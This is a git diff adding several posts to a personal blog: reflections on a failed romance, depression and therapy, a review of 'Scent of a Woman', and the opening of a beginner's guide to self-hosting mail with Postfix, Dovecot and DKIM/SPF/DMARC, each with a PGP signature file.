+Of when your paper gets rejected by saying "lacks novelty". xD + +Another extremely funny thing is that she said we're so different at a much deeper level, but she doesn't even know me. +What was meant at a deeper level? +I'm confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don't even know me? I'm so so incredibly confused. +I guess it could be the looks, and the "vibes"? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won't pursue her I guess? +Idk. + +I want to also come back to this point she made that she is "starting a new relationship". +She told me in the same conversation that someone asked her out (which she technically didn't even say this, but it could be induced), and that going on a date "does not mean you're in a relationship, that you want to know eachother". +Her saying that "I said I'm starting a new relationship" hurt me, not because she is doing that, because she didn't technically tell me that. +She then said "I always tell people this to avoid confusion". +I definitly didn't miss it if she did. She didn't, but whatever. It's fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me... +Did I miss it? +She didn't. Just trust me on this one. ;) + +I'm just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don't blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an "undefined state" of a relationship, and that she wants to keep it "friendly" in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn't even show interest about being friends, which is again totally fine. +But I'm just so baffeled by all of this. + +So... yea. This last "thing", whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I've been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can't just say the good stuff though. She was definitly a bit self-centered. It's funny how she told me that "people say I'm so proud in a negative way, but anyone who talks with me knows I'm not like that". Which is true, she wasn't proud, the correct term is self-centered, or "narcissistic" if you will, which I don't neceserrialy think is bad, but it is definitly an orange/yellow flag. + +One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I'm hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don't know. + +Well. I don't know what's gonna happen next, but I'm going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won't be alone? Who knows? haha. + +> P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I'm worth more than that. :) In my therapy session I remembered that in each of these so called "not dates" we had a conversation about "her", and she was dumping her emotional baggage on me, just like what happened this last time that confused me. + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/relationships.md.asc b/public-clearnet/sources/posts/relationships.md.asc new file mode 100644 index 0000000..e495968 --- /dev/null +++ b/public-clearnet/sources/posts/relationships.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8 +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+ +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= +=lM4c +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/sadness.md b/public-clearnet/sources/posts/sadness.md new file mode 100644 index 0000000..6b57ec2 --- /dev/null +++ b/public-clearnet/sources/posts/sadness.md @@ -0,0 +1,105 @@ ++++ +title = 'Sadness' +date = 2025-10-24T12:48:31Z +draft = false ++++ + +Honestly, I don't know why I'm doing any of this. I really don't. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let's say abused if you will, and then thrown away. +Just like a piece of trash. +It's been hurting more and more. +I've been lying to myself that I don't care. +That I've moved on. + +I've been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough. + +It's enough grieving though. +But is it? +I tell myself I have moved on. +I'm not chasing. +I'm really not. + +I do know that this was indeed the best that could've happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn't want to move on. +I told myself that I will meet new people, and forget. +But then aren't I changing the problem? + +The problem isn't what is on the surface. +It's something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter. + +Like if I tell a group of friends that I won't go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I'm not invited. +That if someone doesn't reply to me, they hate me. +Or that if someone passes me and doesn't look at me or say a word, they don't want to see me, or don't want me around them. + +I don't know how to stop these. +I started to do more home office for this very reason, but I wasn't that productive. +I think my time, and life, is going to waste, and I don't know how to stop it. +It's getting annoying. + +Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I'm far along I feel the extra stress I was neglecting. +Things just don't feel right. +I think I'm becoming depressed again. + +Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won't let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me. + +Maybe I should go for coffee at different times just not to meet this person. +I don't know. +I just know I'm hurting from within, and it's not nice. +It's like internal bleeding. +It's as painful as it gets. +It's as hurtful as it gets. + +I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don't want the responsibility. + +Like with a human things feel less stressful, but with a pet it's scary. +I'm more of a father to the pet. +Uh... +I can't even have a pet because of my house rules. + +I don't know what to do. +What I know is that I'm mentally hurting, and I don't know what to do. +I really don't. +I need help. +A lot of help. +A lot lot of help. +But I can't ask my friends. +I just can't. +They have their own problems. +They think I'm weak. +They will tell me to man up. +Or they just show empathy. +But I don't need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help. + +... --- ... + +... --- ... ... --- ... ... --- ... + +... --- ... + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/sadness.md.asc b/public-clearnet/sources/posts/sadness.md.asc new file mode 100644 index 0000000..af261eb --- /dev/null +++ b/public-clearnet/sources/posts/sadness.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9 +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6 +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12 +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= +=VEwz +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/scent_of_a_woman.md b/public-clearnet/sources/posts/scent_of_a_woman.md new file mode 100644 index 0000000..a1a226e --- /dev/null +++ b/public-clearnet/sources/posts/scent_of_a_woman.md @@ -0,0 +1,94 @@ ++++ +title = 'Movie review: Scent of a Woman' +date = 2025-10-13T08:52:10Z +draft = false +description = "My reaction to the movie as a not so pro movie watcher" ++++ + +I'm not a big movie watcher. +In fact, I don't remember the last time I watched a whole movie in a single day. +It's not that I don't enjoy it, it's that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched [Scent of a Woman](https://www.imdb.com/title/tt0105323) on Sunday, and after my therapist encouraged me to do so. + +Few points before I begin. +- This was aside from the therapy session. +- My therapist does not tell me what to do, or if I'm wrong or right or anything like that. +- I watched this movie in about two parts in a single day! +- I knew Al Pacino's face from Godfather series, but didn't know his name. +- I'm not a big movie person, so whatever I say should be taken with a grain of salt. Just don't be offended, take it face up and as is. + +The movie is about a good young student named Chris O'Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard. + +The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie. + +Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn't really there for him. + +When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees. + +Upon Karen's leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this. + +He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life. + +Frank is in love with Jack Daniel's and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed. + +Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn't want to snitch, but frank learns about this, he encourages him to take the deal. + +Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express! + +In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn't even recognize Frank was blind!!!! + +After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris's parent. + +Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father's back was. + + +In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed. + +The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting. + + +That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie? + +Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I'm also getting a lot back while making some sacrifices. + +Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman? + +I honestly do not know. +I just know that watching the movie gave me good feelings. +That I'm a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I'm on the right track, but still need time to figure out the way. +That I shouldn't worry too much. +That I should look at everything as a way to have "fun". +That I shouldn't overthink things. +That if I mess up, oh well, I should take the responsibility and move on. + +I don't know what the intention of my therapist was, but I'm so curious! +I want to figure it out. :) +Fell free to cross your fingers for me! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/scent_of_a_woman.md.asc b/public-clearnet/sources/posts/scent_of_a_woman.md.asc new file mode 100644 index 0000000..241150e --- /dev/null +++ b/public-clearnet/sources/posts/scent_of_a_woman.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= +=/VjG +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/seeing_the_light.md b/public-clearnet/sources/posts/seeing_the_light.md new file mode 100644 index 0000000..5f9b647 --- /dev/null +++ b/public-clearnet/sources/posts/seeing_the_light.md @@ -0,0 +1,24 @@ ++++ +title = 'Seeing the "Light"' +date = 2025-12-25T11:26:04Z +draft = false ++++ + +I have a strong hunch that I made it. I beat my MDD. I'm finally happy! I'm happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. + +Currently I'm sitting in Hamburg's CCH, being an Angel in disguise. ;D + +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. + +I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he's been wanting to talk to me about... well... something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about. + +He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to "give time to time". So... yea. Idk. She will probably talk to me about this as time goes on. I don't want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch. + +Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it. + +As time goes by, and as I become more experienced, I feel more relieved. + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/seeing_the_light.md.asc b/public-clearnet/sources/posts/seeing_the_light.md.asc new file mode 100644 index 0000000..2f33b72 --- /dev/null +++ b/public-clearnet/sources/posts/seeing_the_light.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0 +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+ +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4= +=xRmw +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/self_hosting_mail.md b/public-clearnet/sources/posts/self_hosting_mail.md new file mode 100644 index 0000000..d05eab3 --- /dev/null +++ b/public-clearnet/sources/posts/self_hosting_mail.md @@ -0,0 +1,209 @@ +--- +title: "Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)" +date: 2026-07-24 +tags: ["mail", "postfix", "dovecot", "opendkim", "postfixadmin", "roundcube", "nginx", "self-hosting", "homelab", "dns", "dkim", "spf", "dmarc"] +categories: ["guides"] +draft: false +description: "A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again)." +--- + +> If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do **not** assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. + +I wanted real email on my own machine — `mail.alipourimjourneys.ir` — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) + +By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand *why* those pieces exist, which is the part the shiny installers quietly skip. + +--- + +## Why I bothered + +Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon. + +I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic. + +--- + +## How email actually moves + +Imagine a post office that both receives letters from other post offices *and* lets you drop off letters to send — but only if you show ID at the counter. + +**Postfix** is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port **25**. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later). + +When *you* want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use **submission**, usually port **587**, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye. + +**Dovecot** is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port **993** so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself. + +**OpenDKIM** sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address. + +Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you. + +Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files. + +--- + +## The shape of my setup + +On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under `/srv/services/mail/` runs Postgres only for that mail world, listening on `127.0.0.1:5433`. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse. + +Nginx terminates HTTPS for a little portal at `mail.alipourimjourneys.ir`, the admin UI at `mailadmin.alipourimjourneys.ir`, and Roundcube at `webmail.alipourimjourneys.ir`. Clients still talk to `mail.alipourimjourneys.ir` for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers. + +--- + +## Port 25 is for servers; port 587 is for people + +This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure. + +Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed *to your domain*, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers. + +Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send. + +I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay. + +--- + +## What an “open relay” is, and why localhost lies to you + +An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation. + +Here’s the trick that wastes afternoons: testing from `127.0.0.1`. + +Postfix treats localhost as friendly. Cron jobs, monitoring, local `sendmail` calls — they need to inject mail without performing a full human login. That friendliness is encoded in `mynetworks`. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful. + +So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from `evil@example.com` to `someone@example.com`, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of `454 Relay access denied`. A cheerful `250` on that recipient line is how you wake up as someone else’s cannon. + +Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?” + +--- + +## DNS, but make it human + +### The forward map (name → number) + +You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an **MX** record, which is simply a polite note: “if you’re delivering mail for this domain, knock on *that* hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet. + +I put `mail.alipourimjourneys.ir` on funbox for both v4 and v6, pointed MX at that name, and added `webmail` and `mailadmin` the same way. + +### Why Cloudflare’s orange cloud is not invited + +Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot. + +Mail hostnames stay **DNS-only** — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there. + +--- + +## PTR records: the phonebook in reverse + +This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly. + +Normal DNS is a phonebook from names to numbers: you look up `mail.example.com` and learn the IP. **Reverse DNS** is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a **PTR** record. + +Those reverse records do *not* live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for `alipourimjourneys.ir` does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street. + +So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to `mail.alipourimjourneys.ir`, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi. + +You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good. + +--- + +## SPF, DKIM, and DMARC: three different questions + +People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients. + +**SPF** answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then `-all`, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer `~all` exists for a reason. I wasn’t mid-migration. I was building one source of truth. + +**DKIM** answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp. + +**DMARC** answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with `p=none` (watch and learn), move to `quarantine` (bad mail goes to spam), and later `reject` when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough. + +Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy. + +Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot. + +--- + +## Building the unglamorous core + +On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for `mail.alipourimjourneys.ir`, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026. + +Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under `/var/spool/postfix`, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the `postfix` user connect. + +I briefly had two `Socket` lines in `opendkim.conf`. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: `DKIM-Signature field added`. Instant serotonin. + +When `opendkim-testkey` says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently. + +--- + +## The Matrix certificate heist (that wasn’t a heist) + +Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting `mail.…` and found **`matrix.alipourimjourneys.ir`** smiling back. + +No attacker. No cosmic joke from Let’s Encrypt. Just nginx. + +When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no `server_name` matches, nginx shrugs and uses the **default** server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible. + +Later I repeated a sibling mistake with `webmail.`: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting `https://webmail.…` still fell through to the default server and received Matrix’s cert again. Same villain, new episode. + +The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize. + +--- + +## From Linux users to real mailboxes + +The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal. + +So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under `/var/vmail/...` owned by a dedicated `vmail` user. Postfix no longer thinks of those 